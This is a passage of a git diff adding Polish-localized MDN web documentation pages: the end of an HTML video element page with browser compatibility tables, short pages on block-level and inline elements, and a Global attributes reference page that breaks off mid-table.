</tr> + <tr> + <td>atrybut <code>buffered</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>Yes</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>controls</code></td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>9.0</td> + <td>10.5</td> + <td>3.1</td> + </tr> + <tr> + <td>atrybut <code>crossorigin</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("12.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>loop</code></td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("11.0")}}</td> + <td>9.0</td> + <td>10.5</td> + <td>3.1</td> + </tr> + <tr> + <td>atrybut <code>muted</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("11.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>Yes</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>właściwość <code>played</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("15.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>Yes</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>poster</code></td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("1.9.2")}}</td> + <td>9.0</td> + <td>10.5</td> + <td>3.1</td> + </tr> + <tr> + <td>atrybut <code>preload</code></td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("2.0")}}</td> + <td>9.0</td> + <td>Yes</td> + <td>3.1</td> + </tr> + <tr> + <td>atrybut <code>src</code></td> + <td>3.0</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>9.0</td> + <td>10.5</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Podstawowa obsługa</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>autoplay</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>iOS 6.0 only</td> + </tr> + <tr> + <td>atrybut <code>buffered</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>controls</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>loop</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("11.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>muted</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("11.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>właściwość <code>played</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("15.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>poster</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>preload</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("2.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>src</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>atrybut <code>crossorigin</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("12.0")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also"> </h2> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/Media_formats_supported_by_the_audio_and_video_elements" title="Media formats supported by the audio and video elements">Formaty mediów wspieranych przez elementy audio i video.</a></li> + <li>{{htmlelement("audio")}}</li> + <li><a href="/en-US/docs/Using_HTML5_audio_and_video" title="Using audio and video in Firefox">Używanie elementów audio i video HTML5.</a></li> + <li><a href="/en-US/docs/Manipulating_video_using_canvas" title="Manipulating video using canvas">Manipulowanie wideo korzystając z elementu canvas.</a></li> + <li><a href="/en-US/docs/XPCOM_Interface_Reference/NsIDOMHTMLMediaElement" title="NsIDOMHTMLMediaElement"><code>nsIDOMHTMLMediaElement</code></a></li> + <li><a class="external" href="http://tinyvid.tv/" title="http://tinyvid.tv/">TinyVid</a> - przykłady użycia plików ogg w HTML5.</li> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#video" title="http://www.whatwg.org/specs/web-apps/current-work/#video">Element video</a> (specyfikacja HTML5)</li> + <li><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="Configuring servers for Ogg media">Konfigurowanie serwerów pod kątem mediów Ogg.</a></li> +</ul> + +<p>{{HTMLRef}}</p> diff --git a/files/pl/web/html/elementy_blokowe/index.html b/files/pl/web/html/elementy_blokowe/index.html new file mode 100644 index 0000000000..392dc43954 --- /dev/null +++ b/files/pl/web/html/elementy_blokowe/index.html @@ -0,0 +1,38 @@ +--- +title: Elementy blokowe +slug: Web/HTML/Elementy_blokowe +tags: + - HTML + - 'HTML:Opis_elementów' + - Wszystkie_kategorie +translation_of: Web/HTML/Block-level_elements +--- +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Elementy blokowe mogą wystąpić tylko w <a href="pl/HTML/Element/body">body</a>. Od elementów liniowych odróżnia je: +</p> +<dl><dt>Zawartość elementu</dt><dd> Generalnie elementy blokowe mogą zawierać zarówno elementy liniowe jak i inne elementy blokowe. Elementy blokowe przeznaczone są do tworzenia większych struktur niż elementy liniowe. +</dd><dt>Formatowanie</dt><dd> Domyślnie elementy blokowe zaczynają się od nowej linii. +</dd></dl> +<h3 id="Elementy" name="Elementy"> Elementy </h3> +<p>Poniżej znajduje się lista elementów "blokowych": +</p> +<ul><li> <a href="pl/HTML/Element/p">p</a> +</li><li> <a href="pl/HTML/Element/h1%2ch2%2ch3%2ch4%2ch5%2ch6">h1, h2, h3, h4, h5, h6</a> +</li><li> <a href="pl/HTML/Element/ol">ol</a>, <a href="pl/HTML/Element/ul">ul</a> +</li><li> <a href="pl/HTML/Element/pre">pre</a> +</li><li> <a href="pl/HTML/Element/address">address</a> +</li><li> <a href="pl/HTML/Element/blockquote">blockquote</a> +</li><li> <a href="pl/HTML/Element/dl">dl</a> +</li><li> <a href="pl/HTML/Element/div">div</a> +</li><li> <a href="pl/HTML/Element/fieldset">fieldset</a> +</li><li> <a href="pl/HTML/Element/form">form</a> +</li><li> <a href="pl/HTML/Element/hr">hr</a> +</li><li> <a href="pl/HTML/Element/noscript">noscript</a> +</li><li> <a href="pl/HTML/Element/table">table</a> +</li></ul> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Elementy_liniowe">Elementy liniowe</a> +</li></ul> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/HTML/Block-level_elements", "ja": "ja/HTML/Block-level_elements" } ) }} diff --git a/files/pl/web/html/elementy_liniowe/index.html b/files/pl/web/html/elementy_liniowe/index.html new file mode 100644 index 0000000000..f5cd417ec8 --- /dev/null +++ b/files/pl/web/html/elementy_liniowe/index.html @@ -0,0 +1,30 @@ +--- +title: Elementy liniowe +slug: Web/HTML/Elementy_liniowe +tags: + - HTML + - 'HTML:Element' + - 'HTML:Élément(2)' + - Wszystkie_kategorie +translation_of: Web/HTML/Inline_elements +--- +<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3> +<p>Elementy liniowe są elementami, które mogą wystąpić tylko w <a href="pl/HTML/Elementy/body">body</a>. Od elementów blokowych odróżnia je: +</p> +<dl><dt>Zawartość elementu</dt><dd> Elementy liniowe mogą zawierać tylko tekst lub inne elementy liniowe. +</dd><dt>Formatowanie</dt><dd> Elementy liniowe nie tworzą nowego wiersza. +</dd></dl> +<h3 id="Elementy" name="Elementy"> Elementy </h3> +<p>Poniżej znajduje się lista elementów "liniowych": +</p> +<ul><li> <a href="pl/HTML/Element/b">b</a>, <a href="pl/HTML/Element/big">big</a>, <a href="pl/HTML/Element/i">i</a>, <a href="pl/HTML/Element/small">small</a>, <a href="pl/HTML/Element/tt">tt</a> +</li><li> <a href="pl/HTML/Element/abbr">abbr</a>, <a href="pl/HTML/Element/acronym">acronym</a>, <a href="pl/HTML/Element/cite">cite</a>, <a href="pl/HTML/Element/code">code</a>, <a href="pl/HTML/Element/dfn">dfn</a>, <a href="pl/HTML/Element/em">em</a>, <a href="pl/HTML/Element/kbd">kbd</a>, <a href="pl/HTML/Element/strong">strong</a>, <a href="pl/HTML/Element/samp">samp</a>, <a href="pl/HTML/Element/var">var</a> +</li><li> <a href="pl/HTML/Element/a">a</a>, <a href="pl/HTML/Element/bdo">bdo</a>, <a href="pl/HTML/Element/br">br</a>, <a href="pl/HTML/Element/img">img</a>, <a href="pl/HTML/Element/map">map</a>, <a href="pl/HTML/Element/object">object</a>, <a href="pl/HTML/Element/q">q</a>, <a href="pl/HTML/Element/script">script</a>, <a href="pl/HTML/Element/span">span</a>, <a href="pl/HTML/Element/sub">sub</a>, <a href="pl/HTML/Element/sup">sup</a> +</li><li> <a href="pl/HTML/Element/button">button</a>, <a href="pl/HTML/Element/input">input</a>, <a href="pl/HTML/Element/label">label</a>, <a href="pl/HTML/Element/select">select</a>, <a href="pl/HTML/Element/textarea">textarea</a> +</li></ul> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3> +<ul><li> <a href="pl/HTML/Elementy_blokowe">Elementy blokowe</a> +</li></ul> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/HTML/Inline_elements", "ja": "ja/HTML/Inline_elements", "ko": "ko/HTML/Inline_elements" } ) }} diff --git a/files/pl/web/html/global_attributes/index.html b/files/pl/web/html/global_attributes/index.html new file mode 100644 index 0000000000..e692b37797 --- /dev/null +++ b/files/pl/web/html/global_attributes/index.html @@ -0,0 +1,480 @@ +--- +title: Global attributes +slug: Web/HTML/Global_attributes +tags: + - Attribute + - HTML + - NeedsBrowserCompatibility + - NeedsTranslation + - Reference + - TopicStub + - Web +translation_of: Web/HTML/Global_attributes +--- +<div class="summary"> +<p><strong>Global attributes</strong> are attributes common to all HTML elements; they can be used on all elements, though the attributes may have no effect on some elements.out</p> +</div> + +<p>Global attributes may be specified on all <a href="/en-US/docs/Web/HTML/Element">HTML elements</a>, <em>even those not specified in the standard</em>. That means that any non-standard elements must still permit these attributes, even though using those elements means that the document is no longer HTML5-compliant. For example, HTML5-compliant browsers hide content marked as <code><foo hidden>...<foo></code><code>, </code>even though <code><foo></code> is not a valid HTML element.</p> + +<p>In addition to the basic HTML global attributes, the following global attributes also exist:</p> + +<ul> + <li><strong><code>xml:lang</code></strong> and <code><strong>xml:base</strong></code> — these are inherited from the XHTML specifications and deprecated, but kept for compatibility purposes.</li> + <li>The multiple <code><strong><a href="/en-US/docs/Web/Accessibility/ARIA">aria-*</a></strong></code> attributes, used for improving accessibility.</li> + <li>The event handler attributes: <code><strong>onabort</strong></code>, <code><strong>onautocomplete</strong></code>, <code><strong>onautocompleteerror</strong></code>, <code><strong>onblur</strong></code>, <code><strong>oncancel</strong></code>, <code><strong>oncanplay</strong></code>, <code><strong>oncanplaythrough</strong></code>, <code><strong>onchange</strong></code>, <code><strong>onclick</strong></code>, <code><strong>onclose</strong></code>, <code><strong>oncontextmenu</strong></code>, <code><strong>oncuechange</strong></code>, <code><strong>ondblclick</strong></code>, <code><strong>ondrag</strong></code>, <code><strong>ondragend</strong></code>, <code><strong>ondragenter</strong></code>, <code><strong>ondragexit</strong></code>, <code><strong>ondragleave</strong></code>, <code><strong>ondragover</strong></code>, <code><strong>ondragstart</strong></code>, <code><strong>ondrop</strong></code>, <code><strong>ondurationchange</strong></code>, <code><strong>onemptied</strong></code>, <code><strong>onended</strong></code>, <code><strong>onerror</strong></code>, <code><strong>onfocus</strong></code>, <code><strong>oninput</strong></code>, <code><strong>oninvalid</strong></code>, <code><strong>onkeydown</strong></code>, <code><strong>onkeypress</strong></code>, <code><strong>onkeyup</strong></code>, <code><strong>onload</strong></code>, <code><strong>onloadeddata</strong></code>, <code><strong>onloadedmetadata</strong></code>, <code><strong>onloadstart</strong></code>, <code><strong>onmousedown</strong></code>, <code><strong>onmouseenter</strong></code>, <code><strong>onmouseleave</strong></code>, <code><strong>onmousemove</strong></code>, <code><strong>onmouseout</strong></code>, <code><strong>onmouseover</strong></code>, <code><strong>onmouseup</strong></code>, <code><strong>onmousewheel</strong></code>, <code><strong>onpause</strong></code>, <code><strong>onplay</strong></code>, <code><strong>onplaying</strong></code>, <code><strong>onprogress</strong></code>, <code><strong>onratechange</strong></code>, <code><strong>onreset</strong></code>, <code><strong>onresize</strong></code>, <code><strong>onscroll</strong></code>, <code><strong>onseeked</strong></code>, <code><strong>onseeking</strong></code>, <code><strong>onselect</strong></code>, <code><strong>onshow</strong></code>, <code><strong>onsort</strong></code>, <code><strong>onstalled</strong></code>, <code><strong>onsubmit</strong></code>, <code><strong>onsuspend</strong></code>, <code><strong>ontimeupdate</strong></code>, <code><strong>ontoggle</strong></code>, <code><strong>onvolumechange</strong></code>, <code><strong>onwaiting</strong></code>.</li> +</ul> + +<h2 id="Description">Description</h2> + +<dl> + <dt id="attr-accesskey"><code><a href="/en-US/docs/Web/HTML/Global_attributes/accesskey">accesskey</a></code></dt> + <dd>Provides a hint for generating a keyboard shortcut for the current element. This attribute consists of a space-separated list of characters. The browser should use the first one that exists on the computer keyboard layout.</dd> + <dt id="attr-class"><code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code></dt> + <dd>Is a space-separated list of the classes of the element. Classes allows CSS and JavaScript to select and access specific elements via the <a href="/en-US/docs/Web/CSS/Class_selectors">class selectors</a> or functions like the method {{domxref("Document.getElementsByClassName()")}}.</dd> + <dt id="attr-contenteditable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contenteditable">contenteditable</a></code></dt> + <dd>Is an enumerated attribute indicating if the element should be editable by the user. If so, the browser modifies its widget to allow editing. The attribute must take one of the following values: + <ul> + <li><code>true</code> or the <em>empty string</em>, which indicates that the element must be editable;</li> + <li><code>false</code>, which indicates that the element must not be editable.</li> + </ul> + </dd> + <dt id="attr-contextmenu"><code><a href="/en-US/docs/Web/HTML/Global_attributes/contextmenu">contextmenu</a></code></dt> + <dd>Is the <code><a href="#attr-id"><strong>id</strong></a></code> of an {{HTMLElement("menu")}} to use as the contextual menu for this element.</dd> + <dt id="attr-dataset"><code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*">data-*</a></code></dt> + <dd>Forms a class of attributes, called custom data attributes, that allow proprietary information to be exchanged between the <a href="/en-US/docs/Web/HTML">HTML</a> and its <a href="/en-US/docs/Glossary/DOM">DOM</a> representation that may be used by scripts. All such custom data are available via the {{domxref("HTMLElement")}} interface of the element the attribute is set on. The {{domxref("HTMLElement.dataset")}} property gives access to them.</dd> + <dt id="attr-dir"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code></dt> + <dd>Is an enumerated attribute indicating the directionality of the element's text. It can have the following values: + <ul> + <li><code>ltr</code>, which means <em>left to right </em>and is to be used for languages that are written from the left to the right (like English);</li> + <li><code>rtl</code>, which means <em>right to left</em> and is to be used for languages that are written from the right to the left (like Arabic);</li> + <li><code>auto</code>, which let the user agent decides. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then apply that directionality to the whole element.</li> + </ul> + </dd> + <dt id="attr-draggable"><code><a href="/en-US/docs/Web/HTML/Global_attributes/draggable">draggable</a></code> {{experimental_inline}}</dt> + <dd>Is an enumerated attribute indicating whether the element can be dragged, using the <a href="/en-us/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values: + <ul> + <li><code>true</code>, which indicates that the element may be dragged</li> + <li><code>false</code>, which indicates that the element may not be dragged.</li> + </ul> + </dd> + <dt id="attr-dropzone"><code><a href="/en-US/docs/Web/HTML/Global_attributes/dropzone">dropzone</a></code> {{experimental_inline}}</dt> + <dd>Is an enumerated attribute indicating what types of content can be dropped on an element, using the <a href="/en-US/docs/DragDrop/Drag_and_Drop">Drag and Drop API</a>. It can have the following values: + <ul> + <li><code>copy</code>, which indicates that dropping will create a copy of the element that was dragged</li> + <li><code>move</code>, which indicates that the element that was dragged will be moved to this new location.</li> + <li><code>link</code>, will create a link to the dragged data.</li> + </ul> + </dd> + <dt id="attr-hidden"><code><a href="/en-US/docs/Web/HTML/Global_attributes/hidden">hidden</a></code></dt> + <dd>Is a Boolean attribute indicates that the element is not yet, or is no longer, <em>relevant</em>. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. The browser won't render such elements. This attribute must not be used to hide content that could legitimately be shown.</dd> + <dt id="attr-id"><code><a href="/en-US/docs/Web/HTML/Global_attributes/id">id</a></code></dt> + <dd>Defines a unique identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).</dd> +</dl> + +<div class="note"> +<p><strong>Note: </strong>The following 5 attributes are part of the <a class="external" href="https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#microdata">WHATWG HTML Microdata feature</a>.</p> +</div> + +<dl> + <dt id="attr-itemid"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemid">itemid</a></code> {{experimental_inline}}</dt> + <dd>The unique, global identifier of an item.</dd> + <dt id="attr-itemprop"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemprop">itemprop</a></code> {{experimental_inline}}</dt> + <dd>Used to add properties to an item. Every HTML element may have an itemprop attribute specified, where an itemprop consists of a name and value pair.</dd> + <dt id="attr-itemref"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemref">itemref</a></code> {{experimental_inline}}</dt> + <dd>Properties that are not descendants of an element with the <code>itemscope</code> attribute can be associated with the item using an <strong>itemref</strong>. Itemref provides a list of element ids (not <code>itemid</code>s) with additional properties elsewhere in the document.</dd> + <dt id="attr-itemscope"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">itemscope</a> </code>{{experimental_inline}}</dt> + <dd>Itemscope (usually) works along with <a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype </a>to specify that the HTML contained in a block is about a particular item. itemscope creates the Item and defines the scope of the itemtype associated with it. itemtype is a valid URL of a vocabulary (such as <a class="external external-icon" href="https://schema.org/">schema.org</a>) that describes the item and its properties context.</dd> + <dt id="attr-itemtype"><code><a href="/en-US/docs/Web/HTML/Global_attributes/itemtype">itemtype</a></code> {{experimental_inline}}</dt> + <dd>Specifies the URL of the vocabulary that will be used to define itemprop's (item properties) in the data structure. <a href="/en-US/docs/Web/HTML/Global_attributes/itemscope">Itemscope</a> is used to set the scope of where in the data structure the vocabulary set by itemtype will be active.</dd> + <dt id="attr-lang"><code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code></dt> + <dd>Participates in defining the language of the element, the language that non-editable elements are written in or the language that editable elements should be written in. The tag contains one single entry value in the format defines in the <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt"><em>Tags for Identifying Languages (BCP47)</em></a> IETF document. <a href="#attr-xml:lang"><strong>xml:lang</strong></a> has priority over it.</dd> +</dl> + +<dl> + <dt id="attr-slot"><code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> {{experimental_inline}}</dt> + <dd>Assigns a slot in a <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">shadow DOM</a> shadow tree to an element: An element with a <code>slot</code> attribute is assigned to the slot created by the {{HTMLElement("slot")}} element whose {{htmlattrxref("name", "slot")}} attribute's value matches that <code>slot</code> attribute's value.</dd> +</dl> + +<dl> + <dt id="attr-spellcheck"><code><a href="/en-US/docs/Web/HTML/Global_attributes/spellcheck">spellcheck</a></code> {{experimental_inline}}</dt> + <dd>Is an enumerated attribute defines whether the element may be checked for spelling errors. It may have the following values: + <ul> + <li><code>true</code>, which indicates that the element should be, if possible, checked for spelling errors;</li> + <li><code>false</code>, which indicates that the element should not be checked for spelling errors.</li> + </ul> + </dd> + <dt id="attr-style"><code><a href="/en-US/docs/Web/HTML/Global_attributes/style">style</a></code></dt> + <dd>Contains <a href="/en-US/docs/Web/CSS">CSS</a> styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the {{HTMLElement("style")}} element have mainly the purpose of allowing for quick styling, for example for testing purposes.</dd> + <dt id="attr-tabindex"><code><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a></code></dt> + <dd>Is an integer attribute indicates if the element can take input focus (is <em>focusable</em>), if it should participate to sequential keyboard navigation, and if so, at what position. It can takes several values: + <ul> + <li>a <em>negative value</em> means that the element should be focusable, but should not be reachable via sequential keyboard navigation;</li> + <li><code>0</code> means that the element should be focusable and reachable via sequential keyboard navigation, but its relative order is defined by the platform convention;</li> + <li>a <em>positive value</em> which means should be focusable and reachable via sequential keyboard navigation; its relative order is defined by the value of the attribute: the sequential follow the increasing number of the <a href="#attr-tabindex"><strong>tabindex</strong></a>. If several elements share the same tabindex, their relative order follows their relative position in the document).</li> + </ul> + </dd> + <dt id="attr-title"><code><a href="/en-US/docs/Web/HTML/Global_attributes/title">title</a></code></dt> + <dd>Contains a text representing advisory information related to the element it belongs to. Such information can typically, but not necessarily, be presented to the user as a tooltip.</dd> + <dt id="attr-translate"><code><a href="/en-US/docs/Web/HTML/Global_attributes/translate">translate</a></code></dt> + <dd>Is an enumerated attribute that is used to specify whether an element's attribute values and the values of it<code>s</code> {{domxref("Text")}} node children are to be translated when the page is localized, or whether to leave them unchanged. It can have the following values: + <ul> + <li>empty string and <code>"yes"</code>, which indicates that the element will be translated.</li> + <li><code>"no</code>", which indicates that the element will not be translated.</li> + </ul> + </dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "dom.html#global-attributes", "Global attributes")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>From latest snapshot, {{SpecName('HTML5.1')}}, <code>itemid</code>, <code>itemprop</code>, <code>itemref</code>, <code>itemscope</code>, and <code>itemtype</code> have been added.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', "dom.html#global-attributes", "Global attributes")}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName('HTML5 W3C')}}, <code>spellcheck</code>, <code>draggable</code>, and <code>dropzone</code> have been added.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "dom.html#global-attributes", "Global attributes")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName('HTML WHATWG')}}. From {{SpecName("HTML4.01")}}, the concept of global attributes is introduced and the <code>dir</code>, <code>lang</code>, <code>style</code>, <code>id</code>, <code>class</code>, <code>tabindex</code>, <code>accesskey</code>, and <code>title</code> are now true global attributes.<br> + <code>xml:lang</code> which was initially part of XHTML, is now also part of HTML.<br> + <code>hidden</code>, <code>data-*</code>, <code>contextmenu</code>, <code>contenteditable</code>, and <code>translate</code> have been added.</td> + </tr> + <tr> + <td>{{SpecName('HTML4.01')}}</td> + <td>{{Spec2('HTML4.01')}}</td> + <td>There are no global attributes defined. Several attributes that will become global attributes in subsequent specifications are defined on a subset of elements.<br> + <code>class</code> and <code>style</code> are supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br> + <code>dir</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br> + <code>id</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}}, and {{HTMLElement("title")}}.<br> + <code>lang</code> is supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.<br> + <code>tabindex</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}}.<br> + <code>accesskey</code> is only supported on {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} and {{HTMLElement("textarea")}}.<br> + <code>title</code> is supported on all elements but {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, and {{HTMLElement("title")}}.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td><code>accesskey</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>class</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>contenteditable</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.9")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>contextmenu</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(9)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>data-*</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("6")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>dir</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>draggable</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("1.8.1")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>dropzone</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>hidden</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("2")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>id</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + 